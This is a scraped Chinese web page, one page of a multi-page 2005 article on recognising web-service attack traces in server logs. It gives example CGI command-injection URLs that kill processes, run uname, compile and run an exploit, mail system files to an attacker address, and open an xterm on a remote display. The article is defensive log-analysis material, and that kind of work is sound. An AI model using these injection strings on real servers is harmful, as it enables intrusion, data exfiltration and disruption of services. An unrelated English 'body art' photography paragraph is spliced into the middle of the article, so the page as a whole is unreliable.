首 页健康生活新 闻留 言骗 子美女图片网络安全论 坛问吧注册码大全bt资源
张筱雨人体艺术   汤芳人体艺术  汤加丽人体艺术  石靖人体艺术   刘亦菲人体艺术   汤唯人体艺术  张柏芝人体艺术   人体艺术摄影
人体艺术摄影        BODY ART PHOTOGRAPHY
                                           Human essence of art, the human feelings of the perfect lens
首页
您当前的位置:地球村新 闻网络风云 → 文章内容 设为首页   加入收藏   联系我们
web服务攻击痕迹
作者:风未起时  来源:中国站长学院  发布时间:2005-7-6 7:46:39
Body art from the West, male body is mainly a reflection of the strength of the United States. While the female body is mainly a reflection of the kind of a female-specific negative of tender.
Body art is static human form, does not contain sexual intercourse is exposed genitals or other to tease of limb movements. Good photographs focus on the human body is the use of light and shadow. The body was naked from the arts, the human body art is not carnal desire , vulgar. Accurately speaking, and now, the "body art" is not very precise. Art classification is based on the auditory,
 "kill and killall" 命令
  在unix系统这个命令用于杀掉进程,一个攻击者可以用这个命令来停止系统服务和程序,同时可以擦掉攻击者的痕迹,一些exploit会产生很多的子进程
  Examples: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200│ http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;

  "uname" 命令
  这个命令告诉攻击者远程机器的名字,一些时候,通过这个命令知道web站点位于哪个isp,也许是攻击者曾今访问过的。通常uname -a来请求,这些都将记录在日志文件中
  Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a│ http://host/cgi-bin/bad.cgi?doh=uname%20-a;

  "cc, gcc, perl, python, etc..." 编译/解释命令
  攻击者通过wget或者tftp下载exploit,并用cc,gcc这样的编译程序进行编译成可执行程序,进一步获得特权
  Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c│ http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
  如果你查看日志中发现有“perl” python”这些说明可能攻击者下载远程的perl ,python脚本程序,并试图本地获得特权

  "mail" 命令
  攻击者通常用这个命令将系统的一些重要文件发到攻击者自己的信箱,也肯能是进行邮件炸弹的攻击
  Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@fuckcnhonker.org%20<<%20/etc/motd│ http://host/cgi-bin/bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20<</tmp/wu-2.6.1.c;

  "xterm/其他X 应用程序" 命令
  xterm 常用来获得远程机器上的shell,如果你在你的日志中发现这些符号,可要认真分析你的系统,可能已经存在安全裂口。注意在日志中查找"%20-display%20" 这个字符,这种痕迹通常是在远程机子上启动xterm或者X应用程序
  Examples: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1│ http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;


上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9]  下一页

[ ] [返回上一页] [打 印]
Copyright © 2007 Diqiuc.Com. All Rights Reserved .豫ICP备07001840 Powered by Diqiuc.Com